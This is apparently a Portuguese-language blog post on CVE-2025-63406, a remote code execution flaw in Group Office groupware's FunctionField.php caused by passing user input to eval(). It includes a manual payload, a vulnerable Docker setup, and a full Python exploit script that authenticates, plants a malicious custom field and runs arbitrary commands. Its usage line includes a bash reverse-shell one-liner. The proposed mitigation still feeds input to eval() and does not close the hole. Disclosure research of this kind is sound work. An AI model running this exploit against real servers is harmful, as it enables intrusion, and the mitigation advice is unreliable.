research 2025-11-21 · 9 min de leitura · updated 2026-09-21

CVE-2025-63406: RCE no Group Office via eval() (PoC)

PoC da CVE-2025-63406: execução remota de código no Group Office groupware via dbToApi() e eval() em FunctionField.php, antes das versões 25.0.47 e 6.8.136.

CVE-2025-63406: RCE no Group Office via eval() (PoC)

Descrição

Uma vulnerabilidade no CRM Group Office groupware nas versões anteriores à v.25.0.47 e 6.8.136 permitia que um atacante remoto executasse código arbitrário através das funções dbToApi() e eval() no arquivo FunctionField.php.

Análises

Indo atrás do arquivo FunctionField.php (…/www/go/core/customfield/FunctionField.php) e análisando o seu código, notamos o seguinte bloco de código:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function dbToApi($value, \go\core\orm\CustomFieldsModel $values, $entity): ?string
{
    $f = $this->field->getOption("function");

    $f = preg_replace_callback('/\\{([^}]*)\\}/', function ($matches) use ($entity) {
        $cfs = $entity->getCustomFields(true);
        return isset($cfs->{trim($matches[1])}) ? $cfs->{trim($matches[1])} : 0;
    }, $f);

    if (empty($f)) {
        return null;
    }

    // Check for infinity @see CustomFieldsModel
    if (strpos($f, "∞") !== false) {
        return "∞";
    }

    $result = null;

    try {
        eval("\$result = " . $f . ";");
    } catch (\Error $e) {
        $result = null;
    } catch (Exception $e) {
        $result = null;
    }

    return $result;
}

Esse bloco é responsável por realizar os cálculos do parâmetro Function da função de criar CustomFields da aplicação. Olhando esse código, notamos de cara onde está ocorrendo a injeção de comandos:

1
try { eval("\$result = " . $f . ";"); } 

O input do usuário está sendo enviado direto para dentro da função eval() do PHP, isso é um erro grave de segurança, pois com um simples payload conseguimos um RCE no servidor. Por exemplo:

1
; system('whoami'); // # No final ficaria: eval("\$result = ; system('whoami'); //) 

Anexando assim, o output do comando na resposta que normalmente retornaria para o usuário.

Criando um Ambiente de Testes

Para criar um ambiente controlado para testes, estarei usando o próprio Docker do GroupOffice que está disponibilizado no Github.

Para subir esse Docker com a versão vulnerável, precisamos clonar o repositório e alterar o compose.yaml para a versão 25.0.46:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
services:
  groupoffice:
    image: intermesh/groupoffice:25.0.46
    restart: always
    ports:
      - "9090:80"
    links:
      - db
    volumes:
      - "godata:/var/lib/groupoffice:cached"
      - "goetc:/etc/groupoffice:cached"
      # - "gostudio:/usr/local/share/groupoffice/go/modules/studio:cached"
      - ./src/studio:/usr/local/share/groupoffice/go/modules/studio
      # Example for ssl
      # - "./config/ssl/groupoffice:/etc/ssl/groupoffice"
    env_file:
      - ./db.env

  db:
    image: mariadb:11.1.2
    restart: always
    env_file:
      - ./db.env
    environment:
      MYSQL_ROOT_PASSWORD: groupoffice
      MARIADB_AUTO_UPGRADE: 1
    volumes:
      - "dbdata:/var/lib/mysql:cached"

volumes:
  godata:
  goetc:
  #gostudio:
  dbdata:

Após isso, só usar o comando docker compose up -d para iniciar o Docker para nossos testes.

Replicando a Falha na Mão

Montando o Payload

Para replicar essa falha, precisaremos ter um usuário com permissão de criar CustomFields na aplicação.

Para criar um CustomField, precisamos ir em System Settings > Custom Fields > Edit Task

Menu System Settings do Group Office, com a opção Custom FieldsTela Edit Task de Custom Fields no Group Office

Nessa página iremos criar um novo FieldSet com qualquer nome. Após isso criaremos um Field Number para fins didáticos, e por fim criaremos um Field Function com o payload “{trash}; system(‘id’); // “:

Criação de um novo FieldSet no Group OfficeCriação de um Field do tipo Number dentro do FieldSetCriação do Field do tipo Function com o payload de RCE

No final, deverá ficar assim:

O FieldSet montado com os três fields, pronto para disparar o payload

Triggando o Payload

Agora para finalmente triggarmos o RCE, precisamos apenas criar uma nova Task na aplicação:

Criação de uma nova Task no Group Office para acionar o payload

Após salvar, recebemos o seguinte erro:

Erro devolvido pela aplicação ao salvar a Task, por JSON inválido

Isso ocorre porque a aplicação esperava um JSON na resposta do POST , porém como inserimos um RCE no Function , ele retornou um JSON quebrado.

Porém ao abrimos o Inspector , irmos em Network e tentar salvar a Task novamente, conseguimos obter o output do comando direto na resposta:

Aba Network do Inspector com a saída do comando na resposta do POST

Conseguindo assim o RCE no GroupOffice.

Como Mitigar a Falha

Para mitigar essa falha, devemos alterar o código eval() para que o input do usuário não seja lido como um código:

1
try { eval("\$result = {$expr};"); } 

Se você ainda utiliza o GroupOffice com uma versão anterior a v25.0.47, ATUALIZE IMEDIATAMENTE!!

PoC Automatizada

Escrevi um pequeno código em Python para explorar automaticamente essa falha e mostrar o output direto no CLI. Estarei anexando o código tanto aqui quanto no meu Github.

OBS: O AUTOR DESSE POST NÃO SE RESPONSABILIZA POR QUAISQUER USOS INDEVIDOS DESSE SCRIPT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
import requests
import argparse
import json
import re

def escapeQuotes(s: str) -> str:
    return s.replace("\\", "\\\\").replace("'", "\\'").replace('"', '\\"')

def normalizeUrl(url: str) -> str:
    if not (url.startswith("http://") or url.startswith("https://")):
        url = "http://" + url
    
    return url.rstrip("/")

def extractFieldSetIfInState():
  data = [["FieldSet/get", {}, "call1"]]
  response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
  return response.json()[0][1]['state']

def extractFieldIfInState():
  data = [["Field/get", {}, "call1"]]
  response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
  return response.json()[0][1]['state']

def extractTaskIfInState():
  data = [["Task/get", {}, ""]]
  response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
 
  match = re.search(r'\[\[.*?\{.*?\}\].*\]', response.text, re.DOTALL)
    
  if match:
    json_str = match.group(0) 
    print("[+] Extracted JSON Successfully!")
    jsonLoaded = json.loads(json_str)
    return jsonLoaded[0][1]['state'] 
  else:
    print("[-] No JSON found in the Response.")
    return None 

  return 

def verifyIfPayloadAlreadyCreated() -> (bool, int | None):
  data = [["FieldSet/get", {}, "call1"]]
  response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)

  item = next(
        (i for entry in response.json() if len(entry) > 1
             for i in entry[1].get("list", [])
             if i.get("name", "").lower() == "payload"),
        None
    )

  return (item is not None, int(item["id"]) if item else None)

def destroyPreviousPayload(id):
    data = [["FieldSet/set",{"create":{},"update":{},"destroy":[str(id)],"ifInState":extractFieldSetIfInState()},"FieldSet_11"]]
    response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
    
    print(f"[*] PAYLOAD ID {id} DESTROYED!")

def deleteTask(id):
    data = [["Task/set",{"create":{},"update":{},"destroy":[str(id)],"ifInState":extractTaskIfInState()},"Task_9"]]
    response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
    print(f"[*] TASK ID {id} DESTROYED!")


BANNER = r"""
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @:  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  .@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@     @@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@    @@    @@@@@@@ .     @@@@@@@  #@@@@@@@%. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ . @@@@@@@   @@@@   @@@@@   @@@@  @@@@@@@@   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@   @@@@@@@@@  @@@  %@@@@:*@@  @@@  @@@@@@@   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@   @@@@@@@    @@@  @@@@@@@@@  @@@  @@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@   @@@@@@   @@@@  .@@@@@@@@   @@@  .@@@@@@@  @@@@ @  @@@@@@@@@@@@@@@      @@@@@@@
@@@@@  @@@@@@  @@@@-. @@@@@@@  . @@@@@  @@@@@@@@  *@@@        @@@@ .             @@@@@
@@@@.  @@@@@  @@@@@  @@@@@@@@@@   @@@@  @@@@@@@@@  @     --        @@@@       .@  @@@@
@@@@  @@@@@@  @@@@@@   @@@@@@@@@@   .  . @@@@@@@@@   @@@@@@@@@@@@@            @  @@@@@
@@@@  @@@@@@  @@@@@  .@@@@@@@@@@@*@@@@@  @%@@@@@@@@@@@@@       *@@@@ @ @     @   @@@@@
@@@@-  @@@@@@ @@@@  @@@@@@@@@@@@@:@@@@@@@@@@@@@@:@@@@@@ .        @@@@@@    @@=  @@@@@@
@@@@@  @@@@@@   @  @@@@@@@@@@@* %@@@@@@@@@@@@@@@*@@@@@  .@@@@@   @@@@@@@@@@@   @@@@@@@
@@@@@@  @@@@@@    @@@@@@@@@@#%@@@@@@@@@@@@@@@@@%@@@@@@@   @@@    @@@@@@@@@@  .@@@@@@@@
@@@@@@-  @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@       @@@@@@@@@   @@@@@@@@@@
@@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@#==#@@@@@@@@@@@@@ @@ =@@@@@@@@@@@@@@@=  @@@@@@@@@@@
@@@@@@@@@   @@@@@@@@@@@@@@@@@@@@*.@@@@@@: @@@@@@@@@@@    @@@@@@@@@@@@@@@@  @@@@@@@@@@@
@@@@@@@@@      @@@@@@@@@@@@@@@@@ .%*@@@@@@ @@@@@@@@@.@@@@@@@@@@@@@@@@@@@@. @@@@@@@@@@@
@@@@@@@@  @ @   @@@@@@    @@@@@@@  @@@@@@@@@@@@@@@@@@@@@        .@@@@@@@@  @@@@@@@@@@@
@@@@@@@  :      @@@@@-   .@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@   @@#    @@@@@@@@   @@@@@@@@@
@@@@@@@          @@@@               @@@@@@+@@@@@@@@@@@@   @@@@    @@@@@@@@@@   -@@@@@@
@@@@@@  @  .       @@               @@@@@# .@@@@@@@@@@@@          @@@@@@@%@@@@ . @@@@@
@@@@@@                                    .        @@@@@@% .    *@@@@@@@     @@@  @@@@
@@@@@@      @@@     @              @        @      #@@@@@@@@@@@@@@@@@@ @       @@  @@@
@@@@@@            . .         @        @           *@@@@@@@@@@@@@@@@@            @  @@
@@@@@@  @ @   @@@@            @        %   @            @@@@@@@@@@  @@@@@%++#@@@@  :@@
@@@@@@@     @@@@@      @@  .         .     @           @   .   @     .            @@@@
@@@@@@@@@@@@@@@@@.    @         @@@                 @@@        @     @@     @@@@@@@@@@
@@@@@@@@@@@@@@@@@@ .    @@@@@@@           .@     =      @@@@@     .      :@  +@@@@@@@@
@@@@@@@@@@@@@@@@@@@@  @@@@@@@@@@@@@@@@@@@ .        @@@@@@@@@@@@@@@@@@@@      @@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ PoC RCE for GroupOffice CVE-2025-63406. @@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ PoC by RiccK @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ Bypassadores && HackersOnSteroids @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
"""

parser = argparse.ArgumentParser(
prog="CVE-2025-63406.py",
description=BANNER,
epilog="USAGE: python3 CVE-2025-63406.py -t http://host.com -u admin -p password -c \"/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\"",
formatter_class=argparse.RawDescriptionHelpFormatter
)

parser.add_argument("-t", "--target", type=normalizeUrl, required=True, help="Target URL")
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("-c", "--command", type=escapeQuotes, required=True, help="Command to execute")

args = parser.parse_args()

URL_TARGET = args.target
API_TARGET = "/api/jmap.php"
AUTH_TARGET = "/api/auth.php"

try:
    login = requests.get(URL_TARGET+AUTH_TARGET, timeout=5)
except requests.exceptions.RequestException:
    print("[-] HOST NOT REACHABLE...")
    exit(1)

print(BANNER)

print("[*] TRYING LOGIN...")

login = requests.post(URL_TARGET+AUTH_TARGET, json={'username':args.username, 'password':args.password})

if login.status_code == 404:
    print("[-] HOST NOT REACHABLE...")
    exit(1)

if login.status_code != 201:
    print("[!] BAD USERNAME OR PASSWORD")
    exit(1)

print("[+] LOGIN SUCCESSFUL!")
print("[+] GETTING COOKIES...")

cookies = {
    'groupoffice':login.cookies.get('groupoffice'),
    'accessToken':login.cookies.get('accessToken')
}

headers = {
    'X-CSRF-Token':login.json().get('CSRFToken')
}


print("[*] CHECKING IF A PREVIOUS PAYLOAD EXISTS...")

exists, payload_id = verifyIfPayloadAlreadyCreated()

if exists == True:
    print("[!] PREVIOUS PAYLOAD FOUND, STARTING PAYLOAD REMOVAL...")
    destroyPreviousPayload(payload_id)
else:
    print("[!] PREVIOUS PAYLOAD NOT FOUND, STARTING PAYLOAD CREATION...")
    

print("[*] CREATING THE FIELDSET...")

fieldSetData = [[ "FieldSet/set", {"create":{"ext-gen830":{"name":"payload","entity":"Task","isTab":False,"collapseIfEmpty":False,"parentFieldSetId":None,"description":"","columns":2,"acl":{"2":30}}}, "update":{},"destroy":[],"ifInState":extractFieldSetIfInState()}, "FieldSet_11"]]
createFieldSet = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=fieldSetData)

if createFieldSet.status_code == 200: print("[+] FIELDSET CREATED!")

fieldset_id = list(createFieldSet.json()[0][1]['created'].values())[0]['id']

print("[*] CREATING THE FIELD NUMBER...")
createNumberFieldData = [["Field/set",{"create":{"ext-gen965":{"fieldSetId":fieldset_id,"type":"Number","name":"trash","databaseName":"trash","hint":"","prefix":"","suffix":"","hiddenInGrid":True,"options":{"numberDecimals":2},"default":1,"unique":False,"required":False,"relatedFieldCondition":"","conditionallyRequired":False,"conditionallyHidden":False,"forceAlterTable":True}},"update":{},"destroy":[],"ifInState":extractFieldIfInState()},"Field_11"]]
createNumberField = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=createNumberFieldData)

if createNumberField.status_code == 200: print("[+] FIELD NUMBER CREATED!")

print("[*] CREATING THE FIELD FUNCTION...")
createFunctionData = [["Field/set",{"create":{"ext-gen1026":{"fieldSetId":fieldset_id,"type":"FunctionField","name":"rce","databaseName":"rce","hiddenInGrid":True,"options":{"numberDecimals":2,"function":"{trash}; system('"+ args.command +"'); //"},"forceAlterTable":True}},"update":{},"destroy":[],"ifInState":extractFieldIfInState()},"Field_11"]]
createFunction = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=createFunctionData)

if createFunction.status_code == 200: print("[+] FIELD FUNCTION CREATED!")

print("[*] TRIGGING PAYLOAD...")

triggerData = [["Task/set",{"create":{"ext-gen1117":{"title":"test","responsibleUserId":None,"tasklistId":"1","categories":[],"start":None,"due":None,"estimatedDuration":0,"progress":"needs-action","percentComplete":0,"priority":0,"description":"","alerts":{},"customFields":{"trash":1}}},"update":{},"destroy":[]},"Task_7"]]
trigger = requests.post(URL_TARGET+API_TARGET, json=triggerData, headers=headers, cookies=cookies)

json_start = trigger.text.find('[[')

if json_start == -1:
    print("[-] No JSON found in the Response.")
    exit()

rce_output = trigger.text[:json_start]
json_str = trigger.text[json_start:]

response_lines = rce_output.splitlines()
unique_lines = sorted(set(response_lines))

match = re.search(r'"id"\s*:\s*"(\d+)"', json_str)

if match:
    task_id = match.group(1)
    deleteTask(task_id)
else:
    print("[-] ID Not Found.")

if trigger.status_code == 200:
    print("[+] PAYLOAD TRIGGED!")
else:
    print("ERROR")
    
print("\n[+] SERVER RESPONSE:\n")

for line in unique_lines:
    print(line)

Referências

Esta postagem está licenciada sob CC BY 4.0 pelo autor.